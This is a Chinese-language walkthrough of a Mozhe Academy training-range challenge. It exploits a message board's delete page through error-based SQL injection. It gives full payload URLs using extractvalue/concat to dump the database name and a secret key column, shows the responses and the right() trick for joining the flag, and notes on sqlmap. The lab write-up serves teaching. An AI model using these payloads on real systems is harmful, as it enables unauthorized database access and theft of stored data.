0x00.题目描述:
背景介绍
最近有人匿名给工程师留言说,感谢他的辛勤付出,把墨者学院建设的这么好,不料激发了工程师对留言板的一波操作,轻松查到了这个人的身份。
实训目标
1、熟练掌握留言板的工作原理;
2、善用burp抓取数据包;
解题方向
抓取数据包加以分析。
0x01.解题思路:
靶场环境:
主界面
查看删除链接为:http://219.153.49.228:45611/sqli_del.php?id=65
经过测试,确定注入点在删除页面的URL链接的id参数中,在浏览器中测得可由报错注入来爆库.
手工注入:
报错注入,来进行爆库:
首先是爆数据库名:
payload:http://219.153.49.228:45611/sqli_del.php?id=1 and extractvalue(1,concat('~',(select database())))
爆数据库名
接下来就是爆表名,列名以及字段了。
爆数据库表名
爆列名
接下来是爆字段:
有几个要注意的地方:第一是在测试注入点时,可能会把已有的key值删除,出现这种情况,需要将靶场重启;第二是key这是mysql系统的保留关键字,故而要查询时必须加反单引号;第三时爆字段长度发现没有32位,可以用先正常爆字段,再用right函数爆右边的32位,两个结果拼接得到flag~
payload1(正常爆字段):http://219.153.49.228:47995/sqli_del.php?id=6 and extractvalue(1,concat('~',(select group_concat(`key`) from message)))
response1:mozhe05ed568a089b3a1b6698075af6
payload2(right函数爆右边字段):http://219.153.49.228:47995/sqli_del.php?id=6 and extractvalue(1,concat('~',right((select group_concat(`key`) from message),32)))
response2:ozhe05ed568a089b3a1b6698075af6d
拼接得到最终的key:mozhe05ed568a089b3a1b6698075af6d
sqlmap注入:
sqlmap注入的话,将删除链接丢进去跑就可以了,但是要注意id的值要换成一个不存在的值,不然的话第一次注入成功,key值也就被删了。
0x02.总结:
1.这题不知道为什么用burpsuite不能进行注入,在浏览器中地址栏可以。
2.key以及MySQL数据库的保留关键字要进行查询的话,要用反单引号括起来。
3.right函数可以在爆字段位数不够时使用。